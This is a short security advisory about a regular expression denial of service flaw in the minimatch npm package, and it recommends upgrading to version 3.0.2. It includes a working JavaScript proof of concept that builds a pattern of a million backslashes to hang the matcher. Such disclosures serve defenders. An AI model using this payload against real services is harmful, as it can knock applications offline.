Summary
Regular Expression Denial of Service in minimatch
Details
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
Proof of Concept
```js var minimatch = require(“minimatch”);
// utility function for generating long strings var genstr = function (len, chr) { var result = “”; for (i=0; i<=len; i++) { result = result + chr; } return result; }
var exploit = “[!” + genstr(1000000, “\”) + “A”;
// minimatch exploit. console.log(“starting minimatch”); minimatch(“foo”, exploit); console.log(“finishing minimatch”); ```
Recommendation
Update to version 3.0.2 or later.
